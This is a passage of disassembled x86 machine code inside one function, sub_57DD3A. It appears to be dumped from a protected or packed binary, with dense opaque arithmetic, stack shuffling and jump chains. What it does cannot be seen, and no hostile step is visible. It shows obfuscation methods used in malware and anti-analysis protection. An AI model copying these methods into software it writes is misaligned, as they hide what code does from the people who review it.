push 5A35129Dh jmp loc_58FEC9 ; --------------------------------------------------------------------------- loc_59903D: ; CODE XREF: sub_57DD3A+12ADCj mov al, 6Ah jmp loc_59AEFE ; --------------------------------------------------------------------------- loc_599044: ; CODE XREF: sub_57DD3A+222A9j pop edx push ebx mov ebx, 4 jmp loc_59ADA0 ; --------------------------------------------------------------------------- loc_599050: ; CODE XREF: sub_57DD3A+13F55j push ecx push eax jmp loc_58EE52 ; --------------------------------------------------------------------------- loc_599057: ; CODE XREF: sub_57DD3A+160B4j add esp, 4 jmp loc_58EAF1 ; --------------------------------------------------------------------------- loc_599062: ; CODE XREF: sub_57DD3A+1FD0Ej mov ebp, 5C360267h jmp loc_596197 ; --------------------------------------------------------------------------- loc_59906C: ; CODE XREF: sub_57DD3A+1702Ej sub esp, 4 mov [esp+2Eh+var_2E], esi push [esp+2Eh+var_2A] pop esi pop [esp+2Eh+var_2E] jmp loc_59BE0A ; --------------------------------------------------------------------------- loc_59907F: ; CODE XREF: sub_57DD3A+1B4A9j push eax mov eax, 29060E3h add esi, eax pop eax xor esi, 2989827Bh sub ecx, esi pop esi add ebx, 420B463Ch add ebx, ecx sub ebx, 420B463Ch push [esp+26h+var_26] jmp loc_59D40F ; --------------------------------------------------------------------------- loc_5990A7: ; CODE XREF: sub_57DD3A+2447Dj add ecx, 0F3CB0B56h jmp loc_592B07 ; --------------------------------------------------------------------------- loc_5990B2: ; CODE XREF: sub_57DD3A+160F3j push ebx mov ebx, esp push esi mov esi, 4 jmp loc_59A235 ; --------------------------------------------------------------------------- loc_5990C0: ; CODE XREF: sub_57DD3A+16F0Cj mov [esp+4Eh+var_50+2], eax mov eax, 4 and ecx, eax push [esp+4Eh+var_50+2] pop eax push eax jmp loc_59F46A ; --------------------------------------------------------------------------- loc_5990D4: ; CODE XREF: sub_57DD3A+11DECj xor ecx, eax add ecx, 0FFFFFFFFh push 7609h mov [esp+20h+var_22+2], eax push esi jmp loc_59427B ; --------------------------------------------------------------------------- loc_5990E7: ; CODE XREF: sub_57DD3A+21847j mov ebp, [esp+24h+var_26+2] push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 add ebx, ecx jmp loc_5A2CC3 ; --------------------------------------------------------------------------- loc_599100: ; CODE XREF: sub_57DD3A+2371Fj pop ebp jmp loc_58EF1A ; --------------------------------------------------------------------------- loc_599106: ; CODE XREF: sub_57DD3A+17FFAj push 0 sub [esp+58h+var_58], edx pop edx shr edx, 2 add edx, 109663A0h mov ecx, edx push [esp+54h+var_54] pop edx add esp, 4 push ebp mov ebp, 38B3726h sub ebp, 0DCD6D6D3h add ebx, ebp jmp loc_5974E6 ; --------------------------------------------------------------------------- loc_599137: ; CODE XREF: sub_57DD3A+24965j mov ax, 241h and dx, ax pop ax push ebp mov bp, 3F96h push si jmp loc_59052F ; --------------------------------------------------------------------------- loc_59914C: ; CODE XREF: sub_57DD3A+1CEE6j push 332Eh mov [esp+5Ch+var_5C], ecx mov cl, 0EDh jmp loc_595D51 ; --------------------------------------------------------------------------- loc_59915B: ; CODE XREF: sub_57DD3A+152B6j xor ebx, 1EF010FFh sub ebx, 6FD63443h inc ebx add ebx, 2B02DCB8h xor edi, ebx pop ebx jmp loc_592571 ; --------------------------------------------------------------------------- loc_599176: ; CODE XREF: sub_57DD3A+251FAj push 70BCh mov [esp+46h+var_46], edi mov edi, 33A82D21h sub edi, 477A23E2h xor edi, 0FAE449Bh shr edi, 5 or edi, 671458AFh xor edi, 671C5AEBh push edi mov edi, 1F5E2594h shl edi, 3 jmp loc_5901C9 ; --------------------------------------------------------------------------- loc_5991AC: ; CODE XREF: sub_57DD3A+23709j push [esp+4Ah+var_4C+2] mov ecx, [esp+4Eh+var_50+2] jmp loc_59E5CF ; --------------------------------------------------------------------------- loc_5991B7: ; CODE XREF: sub_57DD3A+16EB2j mov esi, [esp+2Ch+var_2E+2] add esp, 4 or eax, eax jz loc_597D1E push dword ptr [edi+28h] push [esp+2Ch+var_2E+2] pop eax jmp loc_5A1C21 ; --------------------------------------------------------------------------- loc_5991D1: ; CODE XREF: sub_57DD3A+12CA5j push ecx mov ecx, 6A7A0C89h xor ecx, 0B9E0325h push esi mov esi, 38DC2F65h jmp loc_59907F ; --------------------------------------------------------------------------- loc_5991E8: ; CODE XREF: sub_57DD3A+1B7B8j sub edi, 45C82FE7h jmp loc_5912DD ; --------------------------------------------------------------------------- loc_5991F3: ; CODE XREF: sub_57DD3A+1DF84j sub eax, 30E32310h pop ecx sub eax, 4 jmp loc_59956F ; --------------------------------------------------------------------------- loc_599203: ; CODE XREF: sub_57DD3A+10BB6j mov ebx, 22D1D1Dh xor ebx, 34FEE1E1h xor edi, ebx pop ebx mov eax, edi pop edi push eax jmp loc_599299 ; --------------------------------------------------------------------------- loc_59921A: ; CODE XREF: sub_57DD3A+25575j push eax jmp loc_5A11B0 ; --------------------------------------------------------------------------- loc_599220: ; CODE XREF: sub_57DD3A+19653j add esi, 4 jmp loc_5A0A81 ; --------------------------------------------------------------------------- loc_59922B: ; CODE XREF: sub_57DD3A+12EC4j add esp, 4 push esi jmp loc_594072 ; --------------------------------------------------------------------------- loc_599237: ; CODE XREF: sub_57DD3A+119CAj and esi, 74AA18C0h add esi, 4DEB424Bh shl esi, 2 shl esi, 8 add esi, 49173A24h sub eax, 464911EBh add eax, esi add eax, 464911EBh jmp loc_58FC2D ; --------------------------------------------------------------------------- loc_599260: ; CODE XREF: sub_57DD3A+1C75Bj add ecx, 64D50F23h pop edi add ecx, 4 xchg ecx, [esp+80h+var_80] pop esp pop [esp+7Ch+var_7C] mov esp, [esp+78h+var_78] push 3046h mov [esp+7Ch+var_7C], eax jmp loc_59E7FF ; --------------------------------------------------------------------------- loc_599284: ; CODE XREF: sub_57DD3A+17C0Fj push [esp+6+var_8+2] pop ecx add esp, 4 xor ebp, 246A7EDAh jmp loc_5A2505 ; --------------------------------------------------------------------------- loc_599299: ; CODE XREF: sub_57DD3A+1B4DBj not [esp+2+var_4+2] pop eax xchg eax, edx not edx xchg eax, edx jmp loc_59E5DE ; --------------------------------------------------------------------------- loc_5992A6: ; CODE XREF: sub_57DD3A+15C42j pop ebx push edx mov edx, 29261CC4h add edx, 51804BFDh and esi, edx pop edx jmp loc_5A30A2 ; --------------------------------------------------------------------------- loc_5992BB: ; CODE XREF: sub_57DD3A+1A123j shr ebp, 6 shl ebp, 8 not ebp jmp loc_599EA8 ; --------------------------------------------------------------------------- loc_5992C8: ; CODE XREF: sub_57DD3A+244CBj mov edi, 63A1CDAh jmp loc_5A30AF ; --------------------------------------------------------------------------- loc_5992D2: ; CODE XREF: sub_57DD3A+1D3ADj mov esp, [esp+30h+var_32+2] mov ax, word ptr [esp+30h+var_32+2] push 7BB4h mov [esp+34h+var_36+2], edi jmp loc_590874 ; --------------------------------------------------------------------------- loc_5992E6: ; CODE XREF: sub_57DD3A+248DFj mov [esp+34h+var_36+2], esp add [esp+34h+var_36+2], 4 pop ecx jmp loc_59DA2F ; --------------------------------------------------------------------------- loc_5992F6: ; CODE XREF: sub_57DD3A+21196j mov edi, esp add edi, 4 sub edi, 4 push 147Dh mov [esp+34h+var_36+2], edi push [esp+34h+var_32+2] push [esp+38h+var_3A+2] pop edi push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_59E35A ; --------------------------------------------------------------------------- loc_599325: ; CODE XREF: sub_57DD3A+23DF5j not edi shr edi, 4 xor edi, ebx xor ebx, edi jmp loc_5918FE ; --------------------------------------------------------------------------- loc_599333: ; CODE XREF: sub_57DD3A+17BF1j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_599338: ; CODE XREF: sub_57DD3A+15EC3j pop esp add esp, 4 pop [esp+4Ch+var_4C] mov esp, [esp+0] mov ax, [esp+0] push 2EDEh mov [esp+4Ch+var_4C], ebx mov ebx, esp add ebx, 4 push edx jmp loc_58E55C ; --------------------------------------------------------------------------- loc_59935F: ; CODE XREF: sub_57DD3A+1A0ECj pop esp mov [esp+24h+var_26+2], edx push ecx mov cl, 0FEh mov dl, cl pop ecx xor dl, 8Fh sub dl, 5Ch sub dl, 0FAh jmp loc_596CFF ; --------------------------------------------------------------------------- loc_599377: ; CODE XREF: sub_57DD3A+1A7E1j sub edi, 51AB00EAh mov eax, [esp+42h+var_42] push esi jmp loc_5915A0 ; --------------------------------------------------------------------------- loc_599386: ; CODE XREF: sub_57DD3A+15B56j shl dh, 6 push 3DF6h mov [esp+6Eh+var_70+2], eax jmp loc_5A12F6 ; --------------------------------------------------------------------------- loc_599396: ; CODE XREF: sub_57DD3A+187D3j add eax, edi jmp loc_596FA5 ; --------------------------------------------------------------------------- loc_59939D: ; CODE XREF: sub_57DD3A+1EF1Aj mov edx, [esp+8Ch+var_8C] add esp, 4 add ebx, 51CA0A01h sub esp, 4 mov [esp+8Ch+var_8C], edx jmp loc_591737 ; --------------------------------------------------------------------------- loc_5993B7: ; CODE XREF: sub_57DD3A+1BB59j pop edi pop eax push 704Fh mov [esp+88h+var_88], ebp jmp loc_58F3D1 ; --------------------------------------------------------------------------- loc_5993C6: ; CODE XREF: sub_57DD3A+20F3Ej sub esi, 53C001DDh push edx mov edx, 0FD55C1Ch push esi mov esi, 650276A8h sub esi, 3E0CFCBFh add edx, 0F1E09D8h jmp loc_595756 ; --------------------------------------------------------------------------- loc_5993E9: ; CODE XREF: sub_57DD3A+2221Cj shr edx, 7 or edx, 4C216337h shl edx, 4 shr edx, 8 neg edx jmp loc_5941F6 ; --------------------------------------------------------------------------- loc_5993FF: ; CODE XREF: sub_57DD3A+22BF0j mov eax, 4 add [esp+90h+var_8C], eax pop eax mov ebp, [esp+8Ch+var_8C] add esp, 4 sub esp, 4 mov [esp+8Ch+var_8C], esi sub esp, 4 mov [esp+90h+var_90], ebp jmp loc_58EFF3 ; --------------------------------------------------------------------------- loc_599426: ; CODE XREF: sub_57DD3A+16198j push eax push ebx mov ebx, 14277C30h or ebx, 10AE21B9h dec ebx add ebx, 0EB508247h mov eax, ebx push [esp+58h+var_58] jmp loc_5988F4 ; --------------------------------------------------------------------------- loc_599444: ; CODE XREF: sub_57DD3A+1171Fj push 3313h mov [esp+4Ch+var_4C], esi jmp loc_590E74 ; --------------------------------------------------------------------------- loc_599451: ; CODE XREF: sub_57DD3A+1B1EEj pop [esp+2Ch+var_2E+2] pop esp jmp loc_59E814 ; --------------------------------------------------------------------------- loc_59945A: ; CODE XREF: sub_57DD3A+156DFj pop edx push ecx push ebp mov ebp, 7D3B1A3Ah jmp loc_5A21C5 ; --------------------------------------------------------------------------- loc_599467: ; CODE XREF: sub_57DD3A+12BA4j push ebx mov ebx, 0D0C5C96h add ecx, 5AB36698h sub ecx, ebx sub ecx, 5AB36698h pop ebx jmp loc_590B78 ; --------------------------------------------------------------------------- loc_599481: ; CODE XREF: sub_57DD3A+1C2A3j pop eax jmp loc_5A0516 ; --------------------------------------------------------------------------- loc_599487: ; CODE XREF: sub_57DD3A+1E0CBj mov [esp+32h+var_32], edx push esp mov edx, [esp+36h+var_36] jmp loc_598528 ; --------------------------------------------------------------------------- loc_599493: ; CODE XREF: sub_57DD3A+24D18j dec ebp jmp loc_59D726 ; --------------------------------------------------------------------------- loc_599499: ; CODE XREF: sub_57DD3A+13E6Cj pop ebp xor esi, 1BB171F8h sub esi, 0CAC9F835h add ecx, esi pop esi jmp loc_5A1B3F ; --------------------------------------------------------------------------- loc_5994AE: ; CODE XREF: sub_57DD3A+222E9j xchg bl, cl not bl xchg bl, cl shl cl, 6 dec cl jmp loc_596D76 ; --------------------------------------------------------------------------- loc_5994BE: ; CODE XREF: sub_57DD3A+1EC6Aj mov dl, bh pop ebx push 478Eh mov [esp+42h+var_42], ebx sub esp, 4 mov [esp+46h+var_46], ecx jmp loc_5997E7 ; --------------------------------------------------------------------------- loc_5994D7: ; CODE XREF: sub_57DD3A+1C09Aj sub ebp, eax pop eax jmp loc_5A1473 ; --------------------------------------------------------------------------- loc_5994DF: ; CODE XREF: sub_57DD3A+13A9Bj push [esp+58h+var_54] pop esi pop [esp+58h+var_58] pop esp push esi mov esi, esp jmp loc_5A128A ; --------------------------------------------------------------------------- loc_5994F0: ; CODE XREF: sub_57DD3A+121E8j add edi, ecx jmp loc_5991E8 ; --------------------------------------------------------------------------- loc_5994F7: ; CODE XREF: sub_57DD3A+1679Bj sub eax, 56254B41h pop edi push eax add dword ptr [esp], 6AD6357h pop edx sub edx, 6AD6357h mov eax, [esp+44h+var_46+2] add esp, 4 or [edi+1Ch], edx mov edx, [esp+40h+var_42+2] sub esp, 4 mov [esp+44h+var_46+2], eax mov eax, esp jmp loc_5A0C83 ; --------------------------------------------------------------------------- loc_59952B: ; CODE XREF: sub_57DD3A+16727j xor esi, 29556077h mov ecx, [esp+0] add esp, 4 not esi push edi jmp loc_59D759 ; --------------------------------------------------------------------------- loc_59953F: ; CODE XREF: sub_57DD3A+20419j push esp jmp loc_59E90F ; --------------------------------------------------------------------------- loc_599545: ; CODE XREF: sub_57DD3A+14060j xchg ebp, [esp+18h+var_1A+2] pop esp sub al, 0D5h jmp loc_5923E2 ; --------------------------------------------------------------------------- loc_599550: ; CODE XREF: sub_57DD3A+2472Ej mov edx, 27ABFFE2h jmp loc_59C992 ; --------------------------------------------------------------------------- lodsb push 5E77h mov [esp+18h+var_1A+2], edx mov dh, 0B4h neg dh sub esp, 4 jmp loc_59A4EF ; --------------------------------------------------------------------------- loc_59956F: ; CODE XREF: sub_57DD3A+1B4C4j xor eax, [esp+0Ch+var_E+2] xor [esp+0Ch+var_E+2], eax xor eax, [esp+0Ch+var_E+2] mov esp, [esp+0Ch+var_E+2] mov [esp+0Ch+var_E+2], ebx jmp loc_58FBA3 ; --------------------------------------------------------------------------- loc_599583: ; CODE XREF: sub_57DD3A+1AE53j mov ebx, esp add ebx, 4 jmp loc_593A02 ; --------------------------------------------------------------------------- loc_599590: ; CODE XREF: sub_57DD3A+213DEj mov [esp+3Ch+var_3E+2], edx mov edx, 4B9939EBh push ebp mov ebp, 15A26C7Fh or ebp, 7B364B40h jmp loc_59BAFE ; --------------------------------------------------------------------------- loc_5995A9: ; CODE XREF: sub_57DD3A+171ACj sub esi, 29802D80h add esi, eax jmp loc_5A2149 ; --------------------------------------------------------------------------- loc_5995B6: ; CODE XREF: sub_57DD3A+1CF91j xchg edx, [esp+46h+var_46] mov esp, [esp+46h+var_46] push dword ptr [eax] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5995C3: ; CODE XREF: sub_57DD3A+13EE0j push ebx jmp loc_591D23 ; --------------------------------------------------------------------------- loc_5995C9: ; CODE XREF: sub_57DD3A+20B36j movsx ecx, al push ecx mov ecx, esp push edi push ebp jmp loc_592714 ; --------------------------------------------------------------------------- loc_5995D6: ; CODE XREF: sub_57DD3A+16EF4j pop edx push eax mov eax, 44580A44h jmp loc_590AA8 ; --------------------------------------------------------------------------- loc_5995E2: ; CODE XREF: sub_57DD3A+2108Ej xor ebp, esi jmp loc_5A23DB ; --------------------------------------------------------------------------- loc_5995E9: ; CODE XREF: sub_57DD3A+1DFDBj push esi push ebp mov ebp, 89812CBh neg ebp jmp loc_593A33 ; --------------------------------------------------------------------------- loc_5995F7: ; CODE XREF: sub_57DD3A+10B23j add al, 42h sub al, 8Fh jmp loc_59158B ; --------------------------------------------------------------------------- loc_599600: ; CODE XREF: sub_57DD3A+226DCj and edi, 0EF659F6h xor edi, 5DC08EDFh jmp loc_59F8B9 ; --------------------------------------------------------------------------- loc_599611: ; CODE XREF: sub_57DD3A+22CD8j sub ecx, eax jmp loc_59C458 ; --------------------------------------------------------------------------- loc_599618: ; CODE XREF: sub_57DD3A+1A141j mov esi, 53AE73C5h add edx, esi pop esi xor edx, 0ADF3D5F0h push 66F3h mov [esp+3Ch+var_3E+2], edx push ebx mov ebx, 76FE5D2Ch jmp loc_594782 ; --------------------------------------------------------------------------- loc_599639: ; CODE XREF: sub_57DD3A+107D7j add eax, ebx jmp loc_597E2B ; --------------------------------------------------------------------------- loc_599640: ; CODE XREF: sub_57DD3A+12CFBj pop esi mov edx, [esp+0] jmp loc_5A01CB ; --------------------------------------------------------------------------- loc_599649: ; CODE XREF: sub_57DD3A+13F38j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59964E: ; CODE XREF: sub_57DD3A+1888Aj add eax, 27BE3FD6h push eax add [esp+66h+var_68+2], 0BFD6E74h pop ebx push 196Ch mov [esp+66h+var_68+2], ebp mov ebp, 0BFD6E74h sub ebx, ebp pop ebp pop eax not ebx inc ebx jmp loc_59D821 ; --------------------------------------------------------------------------- loc_599675: ; CODE XREF: sub_57DD3A+1D705j mov edx, [esp+5Eh+var_60+2] jmp loc_59F88A ; --------------------------------------------------------------------------- loc_59967D: ; CODE XREF: sub_57DD3A+23B70j sub ecx, 0E91B612Bh mov edx, ecx pop ecx sub [esp+5Ah+var_58+2], edx jmp loc_59F77B ; --------------------------------------------------------------------------- loc_59968F: ; CODE XREF: sub_57DD3A+19519j shl edx, 7 dec edx xor edx, 0A5B65F3Eh jmp loc_590FC4 ; --------------------------------------------------------------------------- loc_59969E: ; CODE XREF: sub_57DD3A+1C709j push eax mov eax, esp jmp loc_595F6D ; --------------------------------------------------------------------------- jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5996AB: ; CODE XREF: sub_57DD3A+24F5Bj add bl, 0C6h push ecx mov ch, 0Dh jmp loc_5958A4 ; --------------------------------------------------------------------------- loc_5996B6: ; CODE XREF: sub_57DD3A+191E8j add ebx, esi pop esi add ebx, edx sub ebx, 455704E6h jmp loc_58ED98 ; --------------------------------------------------------------------------- loc_5996C6: ; CODE XREF: sub_57DD3A+22987j sub esp, 4 mov [esp+0Eh+var_E], ecx push ebx jmp loc_59361A ; --------------------------------------------------------------------------- loc_5996D5: ; CODE XREF: sub_57DD3A+1C4A5j mov [esp+12h+var_12], edi push ebp xor [esp+16h+var_16], 73D84868h pop edi xor edi, 73D84868h mov eax, edi pop edi pop ebp add ecx, eax push dword ptr [esp+0] jmp loc_59FC30 ; --------------------------------------------------------------------------- loc_5996F5: ; CODE XREF: sub_57DD3A+1A26Aj mov [esp+64h+var_64], ecx mov ecx, 20A215CFh jmp loc_59EF80 ; --------------------------------------------------------------------------- loc_599702: ; CODE XREF: sub_57DD3A+19C2Aj xor dl, cl push 7D78h mov [esp+78h+var_78], ebx jmp loc_596F41 ; --------------------------------------------------------------------------- loc_599711: ; CODE XREF: sub_57DD3A+1E9C8j mov edx, esi jmp loc_591119 ; --------------------------------------------------------------------------- loc_599718: ; CODE XREF: sub_57DD3A+1CEDAj mov [esp+78h+var_78], edi push 3458h jmp near ptr word_5938EE ; --------------------------------------------------------------------------- loc_599725: ; CODE XREF: sub_57DD3A+1BA4Fj inc edx jmp loc_59E9DC ; --------------------------------------------------------------------------- loc_59972B: ; CODE XREF: sub_57DD3A+15B86j push ebx push ecx mov ecx, 0C7B5656h mov ebx, 6D8AC48Bh jmp loc_598A34 ; --------------------------------------------------------------------------- loc_59973C: ; CODE XREF: sub_57DD3A+21F1Cj shr ebx, 6 add ebx, 33A5FC6Ch sub [esp+74h+var_68], ebx jmp loc_59D623 ; --------------------------------------------------------------------------- loc_59974E: ; CODE XREF: sub_57DD3A+1FD9Dj xor al, bl push [esp+74h+var_74] pop ebx add esp, 4 push ecx mov cl, 8Bh push ecx mov cl, 0C1h shr cl, 1 or cl, 0AEh not cl push ebx mov bh, 0DFh jmp loc_59FBAD ; --------------------------------------------------------------------------- loc_59976F: ; CODE XREF: sub_57DD3A+151C7j mov esi, 4BFD1B17h or esi, 15303655h push edx mov edx, 13466EE3h shr edx, 5 and edx, 727455B8h jmp loc_599725 ; --------------------------------------------------------------------------- loc_59978E: ; CODE XREF: sub_57DD3A+251A8j add eax, edx push ebx mov ebx, 688123F3h add ebx, 0BBA819C0h jmp loc_59D70B ; --------------------------------------------------------------------------- loc_5997A1: ; CODE XREF: sub_57DD3A+15B40j sub eax, ebp add eax, 597C635Eh push [esp+54h+var_54] pop ebp add esp, 4 push edi push ecx push 65253945h pop ecx xor ecx, 51362169h jmp loc_5A24E8 ; --------------------------------------------------------------------------- loc_5997C5: ; CODE XREF: sub_57DD3A+17834j mov ah, bh mov bh, cl pop ecx dec ah sub esp, 2 mov word ptr [esp+50h+var_50], cx push edx jmp loc_596D0C ; --------------------------------------------------------------------------- loc_5997D9: ; CODE XREF: sub_57DD3A+1F73Dj push ebp mov ebp, 2C1C792Ah dec ebp not ebp jmp loc_58E72D ; --------------------------------------------------------------------------- loc_5997E7: ; CODE XREF: sub_57DD3A+1B798j push ebx mov bl, dl jmp loc_5954B1 ; --------------------------------------------------------------------------- loc_5997EF: ; CODE XREF: sub_57DD3A+24EF0j add esp, 4 push ecx push 7E58h mov [esp+4Eh+var_50+2], edx push eax mov eax, 34877BEDh push ecx mov ecx, 40DA08B7h jmp loc_598197 ; --------------------------------------------------------------------------- loc_59980C: ; CODE XREF: sub_57DD3A+11E40j mov [esp+3Ah+var_3A], ecx mov ecx, 4 push ebp mov ebp, 5B831009h sub edx, ebp pop ebp add edx, ecx add edx, 5B831009h pop ecx add edx, 4 xchg edx, [esp+36h+var_36] mov esp, [esp+36h+var_36] push esi jmp loc_593835 ; --------------------------------------------------------------------------- loc_599838: ; CODE XREF: sub_57DD3A+217D8j sub edi, 56AD0BC5h sub edi, 0AD910F9h pop eax sub edi, 24213526h xor edi, 6E0C03A3h jmp loc_59CE7F ; --------------------------------------------------------------------------- loc_599856: ; CODE XREF: sub_57DD3A+23378j mov esi, [esp+36h+var_36] jmp loc_599948 ; --------------------------------------------------------------------------- loc_59985E: ; CODE XREF: sub_57DD3A+16CA2j push edi mov edi, 4 sub eax, edi pop edi xchg eax, [esp+0] pop esp jmp loc_59FF88 ; --------------------------------------------------------------------------- loc_599870: ; CODE XREF: sub_57DD3A+19CADj mov edx, 24h push edi jmp loc_59FF5B ; --------------------------------------------------------------------------- loc_59987B: ; CODE XREF: sub_57DD3A+10681j push 40000FA4h jmp loc_59D3C0 ; --------------------------------------------------------------------------- loc_599885: ; CODE XREF: sub_57DD3A+23367j sub ecx, 52094D70h push edi mov edi, 2A72061Eh add ecx, edi jmp loc_5993B7 ; --------------------------------------------------------------------------- loc_599898: ; CODE XREF: sub_57DD3A+1F6AFj push edx mov dh, 0Fh xor dh, 8Bh sub al, dh pop edx push [esp+10h+var_12+2] pop edx add esp, 4 add al, 0F4h sub al, bl sub al, 0F4h sub al, 52h push small 467Fh mov word ptr [esp+0Eh+var_E], bx jmp loc_59FC6C ; --------------------------------------------------------------------------- loc_5998C0: ; CODE XREF: sub_57DD3A+12E31j push edx push [esp+64h+var_60] mov edx, [esp+68h+var_68] add esp, 4 pop [esp+64h+var_64] jmp loc_59451C ; --------------------------------------------------------------------------- loc_5998D6: ; CODE XREF: sub_57DD3A+11A16j pop [esp+3Ch+var_3E+2] sub esp, 4 jmp loc_59B351 ; --------------------------------------------------------------------------- loc_5998E4: ; CODE XREF: sub_57DD3A+10BEDj add ecx, edx jmp loc_597FD7 ; --------------------------------------------------------------------------- loc_5998EB: ; CODE XREF: sub_57DD3A+1CB92j push ebx push esp pop ebx jmp loc_598685 ; --------------------------------------------------------------------------- loc_5998F3: ; CODE XREF: sub_57DD3A+22E2Bj pop edi add ebx, edi sub ebx, 19644502h pop edi push 13FDh mov [esp+6+var_8+2], ebp mov ebp, 24C868E3h jmp loc_59F920 ; --------------------------------------------------------------------------- loc_59990F: ; CODE XREF: sub_57DD3A+18274j add esp, 4 jmp loc_5953B8 ; --------------------------------------------------------------------------- loc_599917: ; CODE XREF: sub_57DD3A+1A66Bj pop [esp+42h+var_42] mov esp, [esp+3Eh+var_3E] imul cx, ax jmp loc_5A0D96 ; --------------------------------------------------------------------------- loc_599926: ; CODE XREF: sub_57DD3A+15330j mov ebx, 5BB3B926h sub ebx, esi pop esi jmp loc_59FFF6 ; --------------------------------------------------------------------------- loc_599933: ; CODE XREF: sub_57DD3A+1479Aj push edi jmp loc_599EF6 ; --------------------------------------------------------------------------- loc_599939: ; CODE XREF: sub_57DD3A+1F424j mov eax, [esp+60h+var_60] add esp, 4 push edx jmp loc_5A121E ; --------------------------------------------------------------------------- loc_599948: ; CODE XREF: sub_57DD3A+1BB1Fj push ebx mov ebx, esp jmp loc_591A19 ; --------------------------------------------------------------------------- loc_599950: ; CODE XREF: sub_57DD3A+234BAj add ebp, eax jmp loc_59BC8B ; --------------------------------------------------------------------------- loc_599957: ; CODE XREF: sub_57DD3A+186ACj sub edi, 78C6B2FEh sub esp, 4 mov [esp+4Ah+var_4C+2], esi mov esi, edi jmp loc_593AE9 ; --------------------------------------------------------------------------- loc_59996A: ; CODE XREF: sub_57DD3A+21EE6j mov cx, word ptr [esp+4Ah+var_4C+2] add esp, 2 add cl, 4Eh add al, cl mov ecx, [esp+46h+var_46] jmp loc_5A050E ; --------------------------------------------------------------------------- loc_599981: ; CODE XREF: sub_57DD3A+2042Aj mov eax, esp push ebx mov ebx, 341D1B36h push esi mov esi, 5C970262h and ebx, esi jmp loc_58E465 ; --------------------------------------------------------------------------- loc_599996: ; CODE XREF: sub_57DD3A+1FBBBj mov bh, 7Dh sub bh, 0CBh not bh sub bh, 2 and bh, 49h shr bh, 1 jmp loc_597B8D ; --------------------------------------------------------------------------- loc_5999AA: ; CODE XREF: sub_57DD3A+1C3E7j pop ebx shl dh, 3 or dh, 0F6h push eax mov ah, 0F9h add ah, 0FFh and ah, 0ACh push ebx mov bl, 0B7h add bl, 0E4h xor ah, bl pop ebx push eax jmp loc_590F71 ; --------------------------------------------------------------------------- loc_5999C9: ; CODE XREF: sub_57DD3A+109AAj sub eax, edi jmp loc_5A0DAC ; --------------------------------------------------------------------------- loc_5999D0: ; CODE XREF: sub_57DD3A+1CAA8j mov ebx, 58E5117Dh jmp loc_591507 ; --------------------------------------------------------------------------- loc_5999DA: ; CODE XREF: sub_57DD3A+1108Ej push 43DE0109h jmp loc_595283 ; --------------------------------------------------------------------------- loc_5999E4: ; CODE XREF: sub_57DD3A+11C47j add edx, 4 jmp loc_59BE8D ; --------------------------------------------------------------------------- loc_5999EF: ; CODE XREF: sub_57DD3A+20EA5j add ebp, ecx add ebp, 41C04956h push edx jmp loc_5926CE ; --------------------------------------------------------------------------- loc_5999FD: ; CODE XREF: sub_57DD3A+13508j mov esi, 7879A9E7h mov ecx, esi jmp loc_5A1993 ; --------------------------------------------------------------------------- loc_599A09: ; CODE XREF: sub_57DD3A+21B2Dj mov edx, 81C7C5Ah xor edx, 1C8E1401h sub edx, 2FA916A5h sub edx, 6BB263Bh dec edx xor edx, 0D94E296Eh xor ebx, edx pop edx add ebp, ebx mov ebx, [esp+4Ah+var_4C+2] add esp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp+46h+var_46] pop esp push edi mov edi, 3A886E2Eh jmp loc_59C1EA ; --------------------------------------------------------------------------- loc_599A4D: ; CODE XREF: sub_57DD3A+1A990j mov [esp+44h+var_46+2], edx push ebx mov bh, 0BBh jmp loc_59B5F7 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_599A60: ; CODE XREF: sub_57DD3A+14726j add esi, 1775525Eh shr esi, 7 xor esi, 49853C6h xor esi, 1D6B62D2h push 4FE7h mov [esp+44h+var_46+2], ecx mov ecx, 18DADE80h sub esi, ecx push [esp+44h+var_46+2] pop ecx add esp, 4 add eax, esi pop esi sub esp, 4 mov [esp+40h+var_42+2], ebx push ebp mov ebp, 204029F0h jmp loc_595040 ; --------------------------------------------------------------------------- loc_599A9F: ; CODE XREF: sub_57DD3A+14209j xor ebp, [esp+0] xor [esp+0], ebp jmp loc_595B43 ; --------------------------------------------------------------------------- loc_599AAA: ; CODE XREF: sub_57DD3A+1850Ej push ecx jmp loc_596AAB ; --------------------------------------------------------------------------- loc_599AB0: ; CODE XREF: sub_57DD3A+169D0j add esp, 4 add esp, 4 push 21F6h jmp loc_599B23 ; --------------------------------------------------------------------------- loc_599AC3: ; CODE XREF: sub_57DD3A+1D405j add esp, 4 or ah, bl jmp loc_59B6C0 ; --------------------------------------------------------------------------- loc_599ACD: ; CODE XREF: sub_57DD3A+19EE6j pop [esp+52h+var_54+2] pop esp jmp loc_59EB9C ; --------------------------------------------------------------------------- loc_599AD6: ; CODE XREF: sub_57DD3A+1F8F9j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_599ADB: ; CODE XREF: sub_57DD3A+195DEj sub edx, 14192849h jmp loc_59E8A3 ; --------------------------------------------------------------------------- loc_599AE6: ; CODE XREF: sub_57DD3A+180C1j push eax mov ah, 24h inc ah not ah sub ah, 0A0h or ah, 4Eh and ah, 0C2h add ah, 6Ah sub bh, ah pop eax sub bh, 36h mov dx, [esp+0] push eax mov eax, esp jmp $+5 add eax, 4 add eax, 2 xor eax, [esp+4Ch+var_4C] xor [esp+4Ch+var_4C], eax xor eax, [esp+4Ch+var_4C] jmp loc_5A1230 ; --------------------------------------------------------------------------- loc_599B23: ; CODE XREF: sub_57DD3A+1BD84j mov [esp+2+var_4+2], ebx mov ebx, esp push edx mov edx, 4 add ebx, edx mov edx, [esp+6+var_8+2] add esp, 4 push edx mov edx, 4 sub ebx, edx pop edx xchg ebx, [esp+2+var_4+2] jmp loc_597F52 ; --------------------------------------------------------------------------- loc_599B4A: ; CODE XREF: sub_57DD3A+1DB70j mov [esp+2+var_4+2], edx mov edx, 4 push 62B6h mov [esp+6+var_8+2], ebx mov ebx, edx mov edi, ebx push [esp+6+var_8+2] pop ebx push 5949h jmp loc_59110F ; --------------------------------------------------------------------------- loc_599B6C: ; CODE XREF: sub_57DD3A+21FFEj add esp, 4 jmp loc_58E353 ; 